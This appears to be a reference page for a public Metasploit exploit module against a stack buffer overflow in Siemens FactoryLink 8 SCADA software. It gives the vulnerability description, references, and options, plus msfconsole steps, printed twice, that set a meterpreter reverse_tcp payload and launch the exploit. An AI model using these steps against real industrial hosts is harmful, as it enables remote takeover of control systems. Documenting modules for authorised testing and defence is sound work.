Siemens FactoryLink 8 CSService Logging Path Param Buffer Overflow
This module exploits a vulnerability found on Siemens FactoryLink 8. The vulnerability occurs when CSService.exe processes a CSMSG_ListFiles_REQ message, the user-supplied path first gets converted to ANSI format (CodePage 0), and then gets handled by a logging routine where proper bounds checking is not done, therefore causing a stack-based buffer overflow, and results arbitrary code execution.
Exploit Rank
- Normal
Exploit Authors
- Luigi Auriemma < aluigi [at] autistici.org >
- sinn3r < sinn3r [at] metasploit.com >
Vulnerability References
- OSVDB-72812
- http://aluigi.altervista.org/adv/factorylink_1-adv.txt
- http://www.us-cert.gov/control_systems/pdf/ICSA-11-091-01.pdf
Exploit Targets
- 0 - Windows XP SP3
- 1 - Windows Server 2003 SP0
Exploit Development
Similar Exploit Modules
- exploit/windows/scada/citect_scada_odbc
- exploit/windows/scada/codesys_web_server
- exploit/windows/scada/daq_factory_bof
- exploit/windows/scada/factorylink_vrn_09
- exploit/windows/scada/iconics_genbroker
- exploit/windows/scada/iconics_webhmi_setactivexguid
- exploit/windows/scada/igss9_igssdataserver_listall
- exploit/windows/scada/igss9_igssdataserver_rename
- exploit/windows/scada/igss9_misc
- exploit/windows/scada/moxa_mdmtool
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/scada/factorylink_csservice
msf exploit(factorylink_csservice) > show payloads
msf exploit(factorylink_csservice) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(factorylink_csservice) > set LHOST [MY IP ADDRESS]
msf exploit(factorylink_csservice) > set RHOST [TARGET IP]
msf exploit(factorylink_csservice) > show targets
msf exploit(factorylink_csservice) > set TARGET [TARGET ID]
msf exploit(factorylink_csservice) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/scada/factorylink_csservice
msf exploit(factorylink_csservice) > show payloads
msf exploit(factorylink_csservice) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(factorylink_csservice) > set LHOST [MY IP ADDRESS]
msf exploit(factorylink_csservice) > set RHOST [TARGET IP]
msf exploit(factorylink_csservice) > show targets
msf exploit(factorylink_csservice) > set TARGET [TARGET ID]
msf exploit(factorylink_csservice) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | The target port (default: 7580) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
